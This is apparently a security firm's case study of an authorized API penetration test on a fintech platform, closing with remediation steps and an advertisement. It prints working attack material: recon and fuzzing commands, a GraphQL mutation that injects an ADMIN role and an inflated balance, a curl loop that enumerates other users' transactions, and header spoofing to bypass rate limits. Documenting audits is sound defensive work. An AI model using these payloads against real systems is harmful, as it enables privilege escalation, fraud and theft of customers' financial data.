WEB PENTEST / API SECURITY

API Security Pentest — GraphQL Mass Assignment + BOLA on a fintech platform

Full breakdown: mass assignment in GraphQL mutations, BOLA (Broken Object Level Authorization) on REST endpoints, authorization and rate limiting bypass. 47 endpoints, CVSS 8.6, fixed within 48 hours.

47API endpoints
12vulnerabilities
3Critical
5High
48hTime to Fix

1. Recon and mapping the attack surface

It started with passive collection: Swagger/OpenAPI schemas via /api/docs, /graphql introspection, GitHub dorks for schema leaks. Active fuzzing with katana -u target.com -d 3 -jc revealed 47 unique endpoints (23 REST, 24 GraphQL).

Key focus — state-changing operations: mutation in GraphQL, POST/PUT/PATCH/DELETE in REST. Found 31 mutations and 19 state-changing REST endpoints.

bash
# API recon
katana -u https://api.target.com -d 3 -jc -o recon.json

# Endpoint fuzzing with an authorized token
ffuf -u https://api.target.com/FUZZ -w /wordlists/api-endpoints.txt \
  -mc 200,201,403 -H "Authorization: Bearer $TOKEN"

# GraphQL Introspection
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name type{name kind ofType{name}}}}}}"}'

2. GraphQL Mass Assignment (Critical)

The updateUserProfile mutation accepted an input: UserProfileInput! object without validating the allowed fields. The backend (Prisma ORM) did update({ where, data: input }) — mass assignment of all passed fields.

By adding role: "ADMIN", isVerified: true, balance: 999999 to the request — we gained privilege escalation and balance manipulation.

graphql
mutation UpdateProfile($input: UserProfileInput!) {
  updateUserProfile(input: $input) {
    id
    email
    role
    isVerified
    balance
  }
}

# Variables
{
  "input": {
    "firstName": "Hacker",
    "role": "ADMIN",           # <-- Injection
    "isVerified": true,        # <-- Injection
    "balance": 999999          # <-- Injection
  }
}
⚠

Privilege escalation

Regular user → ADMIN with a single request

💰

Financial damage

Balance manipulation, bypassing withdrawal limits

🔓

Verification bypass

isVerified: true without KYC/AML checks

3. BOLA — Broken Object Level Authorization (Critical)

The REST endpoint GET /api/v2/transactions/{id} only checked for a valid JWT, not resource ownership. Enumerating id (UUID v4, but predictable via the timestamp part) granted access to other users' transactions: amounts, recipients, cards (masked), IP.

A similar issue in PATCH /api/v2/cards/{id} — it was possible to bind someone else's card to your own account.

bash
# Transaction ID enumeration (PoC)
for i in {1..100}; do
  curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
    https://api.target.com/api/v2/transactions/$i | jq .amount
done

# Result: 200 OK on foreign IDs, full card/account data

4. Rate Limit Bypass + Auth Confusion

Rate limiting on /auth/login and /auth/otp/send was IP-based. Using the X-Forwarded-For, X-Real-IP, CF-Connecting-IP headers — we bypassed the limits. Additionally: /auth/refresh accepted a refresh token from any client (no binding to device_id), allowing session hijacking via a token leaked in proxy logs.

5. Final findings (Summary)

Mass Assignment → PrivEsc BOLA on transactions BOLA on cards Rate Limit Bypass (headers) Refresh Token Replay GraphQL DoS (batched queries) Excessive Data Exposure (PII in responses) Missing Security Headers (API) Info Disclosure via GraphQL Introspection Weak CORS Policy

6. Remediation and result

Allow-list fields in GraphQL mutations (input validation + Prisma $validate)
RBAC checks on every REST endpoint: user.owns(resource)
Rate limit by user_id (not IP) + device fingerprint for auth endpoints
Refresh token rotation + binding to device_id + revocation on suspicious activity
GraphQL depth/cost analysis + disabling introspection in production

All 3 Critical and 5 High were closed within 48 hours. Retest — 0 findings. The client passed the PCI DSS ASV scan on the first attempt.

Want the same audit for your API?

We'll find Mass Assignment, BOLA, Broken Auth, and Rate Limit bypass before the attackers do.

Order an API pentest